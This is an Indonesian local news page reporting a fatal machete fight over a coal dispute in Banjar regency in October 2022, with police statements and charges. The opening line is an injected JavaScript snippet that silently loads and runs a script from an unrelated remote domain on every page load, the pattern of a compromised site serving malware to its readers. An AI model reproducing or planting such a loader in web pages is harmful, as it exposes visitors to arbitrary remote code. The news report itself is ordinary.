(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Seorang lelaki di Kecamatan Cintapuri Darussalam, Kabupaten Banjar, tewas setelah terlibat perkelahian sadis yang dilakukan bersama tiga orang temannya, Jum’at (21/10/2022) kemarin.
Lokasi kejadian berada di dekat timbangan stokpile PT IBMS Desa Cintapuri, dimana MJ (44) dihabisi J vs dengan cara adu tebas menggunakan parang.
Kapolres Banjar AKBP Doni Hadi Santoso, melalui Kasi Humas Iptu Suwarji menyebutkan, perkelahian ini terjadi lantaran diduga permasalahan yang timbul soal batu bara di handphone.
“Kejadian berawal dari permasalahan antara saudara D dan saudara J terkait permasalahan batu bara melalui handphone. J mendatangi D yang berada di stokpile,” ujar Kapolres Banjar AKBP Doni Hadi Santoso, melalui Kasi Humas Iptu Suwarji saat dikonfirmasi, Sabtu (22/10/2022).
Baca juga: Banjir Landa Lamandau 11.463 Jiwa Kena Dampak
Saat J mendatangi D, diketahui korban MJ juga berada di lokasi. Cekcok pun terjadi, namun bukan antara J dan D melainkan MJ yang terlibat percekcokan dengan tersangka J.
“Dari percekcokan antara J dan MJ tersebut, pelaku J tidak bisa menahan emosi sehingga mendorong korban MJ,” sambungnya.
Alih-alih menolong korban MJ yang didorong, namun yang lain masing-masing mengambil parang dan saling menebaskan parangnya. Akibatnya mereka sama-sama mendapati luka.
Dijelaskan Iptu Suwarji, pelaku lain yakni I juga ikut menebaskan parang ke arah korban, juga diikuti J dan pelaku I menyodokkan senjata tajam pisau ke arah tubuh korban.
Kemudian diketahu adik korban MJ yakni Y sempat melerai, tapi dirinya ikut terkena tebasan parang, sehingga mengalami luka pada bagian tangan kanan.
Baca juga: BREAKING NEWS. Kebakaran Asrama Santriwati di Sungai Besar Banjarbaru
Melihat korban MJ yang tak berdaya, beberapa warga menolong dan melarikan korban ke Puskesmas Simpang Empat 2.
Korban dinyatakan meninggal dunia akibat mengalami luka robek bekas tebasan parang pada bagian lengan kanan atas dan bawah, bawah ketiak, luka pelipis kanan, hingga mengalami luka tusuk di punggung belakang.
Unit Kamneg Sat Intelkam Polres Banjar telah mengamankan tiga pelaku yang merupakan warga Desa 2 RT 03 Kecamatan Cintapuri Darussalam, Kabupaten Banjar.
Mereka didakwa pasal 338 Sub 170 ayat (2) ke 3e KUHP karena melakukan tindak pidana kejahatan menghilangkan nyawa orang lain dan atau bersama-sama di muka umum melakukan kekerasan terhadap orang yang mengakibatkan hilangnya jiwa orang lain. (Kanalkalimantan.com/wanda)
Reporter : wanda
Editor : bie
KANALKALIMANTAN.COM, BANJARMASIN - Seorang lelaki dalam kondisi tidak bernyawa ditemukan tenggelam di Sungai Martapura kawasan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Perusahaan Air Minum (PAM) Bandarmasih mengumumkan melakukan penurunkan tekanan distribusi air bersih… Read More
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More
KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More
This website uses cookies.